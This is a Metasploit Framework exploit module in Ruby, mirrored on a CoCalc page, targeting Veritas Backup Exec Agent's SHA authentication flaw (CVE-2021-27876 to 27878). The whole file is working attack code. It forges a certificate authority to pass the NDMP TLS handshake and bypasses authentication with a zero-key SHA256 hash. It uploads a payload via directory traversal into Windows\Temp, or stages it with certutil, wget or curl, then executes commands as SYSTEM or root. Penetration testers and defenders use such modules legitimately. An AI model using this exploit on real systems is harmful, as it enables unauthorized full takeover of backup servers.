CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
Views: 1904
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::NDMPSocket
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::EXE
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
22
'Description' => %q{
23
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
24
This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.
25
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
26
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
27
depending on the platform.
28
29
The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
30
including Backup Exec Remote Agent revision 9.3)
31
},
32
'License' => MSF_LICENSE,
33
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
34
'References' => [
35
['CVE', '2021-27876'],
36
['CVE', '2021-27877'],
37
['CVE', '2021-27878'],
38
['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
39
],
40
'Platform' => %w[win linux],
41
'Targets' => [
42
[
43
'Windows',
44
{
45
'Platform' => 'win',
46
'Arch' => [ARCH_X86, ARCH_X64],
47
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
48
}
49
],
50
[
51
'Linux',
52
{
53
'Platform' => 'linux',
54
'Arch' => [ARCH_X86, ARCH_X64],
55
'CmdStagerFlavor' => %w[bourne wget curl echo]
56
}
57
]
58
],
59
'DefaultOptions' => {
60
'RPORT' => 10_000
61
},
62
'Privileged' => true,
63
'DisclosureDate' => '2021-03-01',
64
'DefaultTarget' => 0,
65
'Notes' => {
66
'Reliability' => [UNRELIABLE_SESSION],
67
'Stability' => [CRASH_SAFE],
68
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
69
}
70
)
71
)
72
73
register_options([
74
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
75
conditions: ['TARGET', '==', 'Linux'])
76
])
77
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
78
end
79
80
def execute_command(cmd, opts = {})
81
case target.opts['Platform']
82
when 'win'
83
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
84
when 'linux'
85
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
86
end
87
ndmp_sock = opts[:ndmp_sock]
88
ndmp_sock.do_request_response(
89
NDMP::Message.new_request(
90
NDMP_EXECUTE_COMMAND,
91
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
92
)
93
)
94
end
95
96
def exploit
97
print_status('Exploiting ...')
98
99
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
100
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
101
102
ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
103
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status
104
105
ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
106
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status
107
108
if target.opts['Platform'] == 'win'
109
filename = "#{rand_text_alpha(8)}.exe"
110
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
111
if ndmp_status
112
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
113
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
114
else
115
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
116
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
117
end
118
else
119
print_status('Uploading payload with CmdStager')
120
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
121
end
122
end
123
124
def check
125
print_status('Checking vulnerability')
126
127
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
128
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
129
130
print_status('Getting supported authentication types')
131
ndmp_msg = ndmp_sock.do_request_response(
132
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
133
)
134
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
135
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
136
"#{AUTH_TYPES[k]} (#{k})"
137
end.join(', ')}")
138
print_status("BE agent revision: #{ndmp_payload.revision}")
139
140
if ndmp_payload.auth_types.include?(5)
141
Exploit::CheckCode::Appears('SHA authentication is enabled')
142
else
143
Exploit::CheckCode::Safe('SHA authentication is disabled')
144
end
145
end
146
147
def ndmp_connect
148
print_status('Connecting to BE Agent service')
149
ndmp_msg = nil
150
begin
151
ndmp_sock = NDMP::Socket.new(connect)
152
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
153
Rex::ConnectionRefused => e
154
return [false, nil, e.to_s]
155
end
156
begin
157
Timeout.timeout(datastore['ConnectTimeout']) do
158
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
159
end
160
rescue Timeout::Error
161
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
162
else
163
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
164
end
165
166
ndmp_msg = ndmp_sock.do_request_response(
167
NDMP::Message.new_request(
168
NDMP::Message::CONNECT_OPEN,
169
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
170
)
171
)
172
173
ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
174
unless ndmp_payload.err_code.zero?
175
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
176
end
177
178
[true, ndmp_sock, nil]
179
end
180
181
def tls_enabling(ndmp_sock)
182
print_status('Enabling TLS for NDMP connection')
183
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
184
ndmp_tls_certs.forge_ca
185
ndmp_msg = ndmp_sock.do_request_response(
186
NDMP::Message.new_request(
187
NDMP_SSL_HANDSHAKE,
188
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
189
)
190
)
191
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
192
unless ndmp_payload.err_code.zero?
193
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
194
end
195
196
ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)
197
198
ndmp_msg = ndmp_sock.do_request_response(
199
NDMP::Message.new_request(
200
NDMP_SSL_HANDSHAKE,
201
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
202
)
203
)
204
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
205
unless ndmp_payload.err_code.zero?
206
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
207
end
208
209
ndmp_msg = ndmp_sock.do_request_response(
210
NDMP::Message.new_request(
211
NDMP_SSL_HANDSHAKE,
212
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
213
)
214
)
215
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
216
unless ndmp_payload.err_code.zero?
217
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
218
end
219
220
ssl_context = OpenSSL::SSL::SSLContext.new
221
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
222
ndmp_sock.wrap_with_ssl(ssl_context)
223
[true, nil]
224
end
225
226
def sha_authentication(ndmp_sock)
227
print_status('Passing SHA authentication')
228
ndmp_msg = ndmp_sock.do_request_response(
229
NDMP::Message.new_request(
230
NDMP_CONFIG_GET_AUTH_ATTR,
231
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
232
)
233
)
234
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
235
unless ndmp_payload.err_code.zero?
236
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
237
end
238
239
ndmp_msg = ndmp_sock.do_request_response(
240
NDMP::Message.new_request(
241
NDMP::Message::CONNECT_CLIENT_AUTH,
242
NdmpConnectClientAuthReq.new(
243
{
244
auth_type: 5,
245
username: 'Administrator', # Doesn't metter
246
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
247
}
248
).to_xdr
249
)
250
)
251
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
252
unless ndmp_payload.err_code.zero?
253
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
254
end
255
256
[true, nil]
257
end
258
259
def win_write_upload(ndmp_sock, filename)
260
print_status('Uploading payload with NDMP_FILE_WRITE packet')
261
ndmp_msg = ndmp_sock.do_request_response(
262
NDMP::Message.new_request(
263
NDMP_FILE_OPEN_EXT,
264
NdmpFileOpenExtReq.new(
265
{
266
filename: filename,
267
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
268
mode: 4
269
}
270
).to_xdr
271
)
272
)
273
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
274
unless ndmp_payload.err_code.zero?
275
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
276
end
277
278
hnd = ndmp_payload.handler
279
exe = generate_payload_exe
280
offset = 0
281
block_size = 2048
282
283
while offset < exe.length
284
ndmp_msg = ndmp_sock.do_request_response(
285
NDMP::Message.new_request(
286
NDMP_FILE_WRITE,
287
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
288
)
289
)
290
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
291
unless ndmp_payload.err_code.zero?
292
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
293
end
294
295
offset += block_size
296
end
297
298
ndmp_msg = ndmp_sock.do_request_response(
299
NDMP::Message.new_request(
300
NDMP_FILE_CLOSE,
301
NdmpFileCloseReq.new({ handler: hnd }).to_xdr
302
)
303
)
304
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
305
unless ndmp_payload.err_code.zero?
306
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
307
end
308
309
[true, nil]
310
end
311
312
def exec_win_command(ndmp_sock, filename)
313
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
314
ndmp_msg = ndmp_sock.do_request_response(
315
NDMP::Message.new_request(
316
NDMP_EXECUTE_COMMAND,
317
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
318
)
319
)
320
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
321
unless ndmp_payload.err_code.zero?
322
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
323
end
324
325
[true, nil]
326
end
327
328
# Class to create CA and client certificates
329
class NdmpTlsCerts
330
def initialize(hostname, ip)
331
@hostname = hostname
332
@ip = ip
333
@ca_key = nil
334
@ca_cert = nil
335
@be_agent_cert = nil
336
end
337
338
SSL_HANDSHAKE_TYPES = {
339
SSL_HANDSHAKE_TEST_CERT: 1,
340
SSL_HANDSHAKE_CSR_REQ: 2,
341
SSL_HANDSHAKE_CSR_SIGNED: 3,
342
SSL_HANDSHAKE_CONNECT: 4
343
}.freeze
344
345
attr_reader :ca_cert, :ca_key
346
347
def forge_ca
348
@ca_key = OpenSSL::PKey::RSA.new(2048)
349
@ca_cert = OpenSSL::X509::Certificate.new
350
@ca_cert.version = 2
351
@ca_cert.serial = rand(2**32..2**64 - 1)
352
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
353
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
354
@ca_cert.extensions = [
355
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
356
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
357
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
358
]
359
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
360
@ca_cert.public_key = @ca_key.public_key
361
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
362
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
363
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
364
end
365
366
def sign_agent_csr(csr)
367
o_csr = OpenSSL::X509::Request.new(csr)
368
@be_agent_cert = OpenSSL::X509::Certificate.new
369
@be_agent_cert.version = 2
370
@be_agent_cert.serial = rand(2**32..2**64 - 1)
371
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
372
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
373
@be_agent_cert.issuer = @ca_cert.subject
374
@be_agent_cert.subject = o_csr.subject
375
@be_agent_cert.public_key = o_csr.public_key
376
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
377
end
378
379
def default_sslpacket_content(ssl_packet_type)
380
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
381
ca_cert = @ca_cert.to_s
382
agent_cert = @be_agent_cert.to_s
383
else
384
ca_cert = ''
385
agent_cert = ''
386
end
387
{
388
ssl_packet_type: ssl_packet_type,
389
hostname: @hostname,
390
nb_hostname: @hostname.upcase,
391
ip_addr: @ip,
392
cert_id1: get_cert_id(@ca_cert),
393
cert_id2: get_cert_id(@ca_cert),
394
unknown1: 0,
395
unknown2: 0,
396
ca_cert_len: ca_cert.length,
397
ca_cert: ca_cert,
398
agent_cert_len: agent_cert.length,
399
agent_cert: agent_cert
400
}
401
end
402
403
def get_cert_id(cert)
404
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
405
end
406
end
407
408
NDMP_CONFIG_GET_AUTH_ATTR = 0x103
409
NDMP_SSL_HANDSHAKE = 0xf383
410
NDMP_EXECUTE_COMMAND = 0xf30f
411
NDMP_FILE_OPEN_EXT = 0xf308
412
NDMP_FILE_WRITE = 0xF309
413
NDMP_FILE_CLOSE = 0xF306
414
415
AUTH_TYPES = {
416
1 => 'Text',
417
2 => 'MD5',
418
3 => 'BEWS',
419
4 => 'SSPI',
420
5 => 'SHA',
421
190 => 'BEWS2' # 0xBE
422
}.freeze
423
424
# Responce packets
425
class NdmpNotifyConnectedRes < XDR::Struct
426
attribute :connected, XDR::Int
427
attribute :version, XDR::Int
428
attribute :reason, XDR::Int
429
end
430
431
class NdmpConnectOpenRes < XDR::Struct
432
attribute :err_code, XDR::Int
433
end
434
435
class NdmpConfigGetServerInfoRes < XDR::Struct
436
attribute :err_code, XDR::Int
437
attribute :vendor_name, XDR::String[]
438
attribute :product_name, XDR::String[]
439
attribute :revision, XDR::String[]
440
attribute :auth_types, XDR::VarArray[XDR::Int]
441
end
442
443
class NdmpConfigGetHostInfoRes < XDR::Struct
444
attribute :err_code, XDR::Int
445
attribute :hostname, XDR::String[]
446
attribute :os, XDR::String[]
447
attribute :os_info, XDR::String[]
448
attribute :ip, XDR::String[]
449
end
450
451
class NdmpSslHandshakeRes < XDR::Struct
452
attribute :data_len, XDR::Int
453
attribute :data, XDR::String[]
454
attribute :err_code, XDR::Int
455
attribute :unknown4, XDR::String[]
456
end
457
458
class NdmpConfigGetAuthAttrRes < XDR::Struct
459
attribute :err_code, XDR::Int
460
attribute :auth_type, XDR::Int
461
attribute :challenge, XDR::Opaque[64]
462
end
463
464
class NdmpConnectClientAuthRes < XDR::Struct
465
attribute :err_code, XDR::Int
466
end
467
468
class NdmpExecuteCommandRes < XDR::Struct
469
attribute :err_code, XDR::Int
470
end
471
472
class NdmpFileOpenExtRes < XDR::Struct
473
attribute :err_code, XDR::Int
474
attribute :handler, XDR::Int
475
end
476
477
class NdmpFileWriteRes < XDR::Struct
478
attribute :err_code, XDR::Int
479
attribute :recv_len, XDR::Int
480
attribute :unknown, XDR::Int
481
end
482
483
class NdmpFileCloseRes < XDR::Struct
484
attribute :err_code, XDR::Int
485
end
486
487
# Request packets
488
class NdmpConnectOpenReq < XDR::Struct
489
attribute :version, XDR::Int
490
end
491
492
class NdmpSslHandshakeReq < XDR::Struct
493
attribute :ssl_packet_type, XDR::Int
494
attribute :nb_hostname, XDR::String[]
495
attribute :hostname, XDR::String[]
496
attribute :ip_addr, XDR::String[]
497
attribute :cert_id1, XDR::Int
498
attribute :cert_id2, XDR::Int
499
attribute :unknown1, XDR::Int
500
attribute :unknown2, XDR::Int
501
attribute :ca_cert_len, XDR::Int
502
attribute :ca_cert, XDR::String[]
503
attribute :agent_cert_len, XDR::Int
504
attribute :agent_cert, XDR::String[]
505
end
506
507
class NdmpConfigGetAuthAttrReq < XDR::Struct
508
attribute :auth_type, XDR::Int
509
end
510
511
class NdmpConnectClientAuthReq < XDR::Struct
512
attribute :auth_type, XDR::Int
513
attribute :username, XDR::String[]
514
attribute :hash, XDR::Opaque[32]
515
end
516
517
class NdmpExecuteCommandReq < XDR::Struct
518
attribute :cmd, XDR::String[]
519
attribute :unknown, XDR::Int
520
end
521
522
class NdmpFileOpenExtReq < XDR::Struct
523
attribute :filename, XDR::String[]
524
attribute :dir, XDR::String[]
525
attribute :mode, XDR::Int
526
end
527
528
class NdmpFileWriteReq < XDR::Struct
529
attribute :handler, XDR::Int
530
attribute :len, XDR::Int
531
attribute :data, XDR::String[]
532
end
533
534
class NdmpFileCloseReq < XDR::Struct
535
attribute :handler, XDR::Int
536
end
537
end
538
539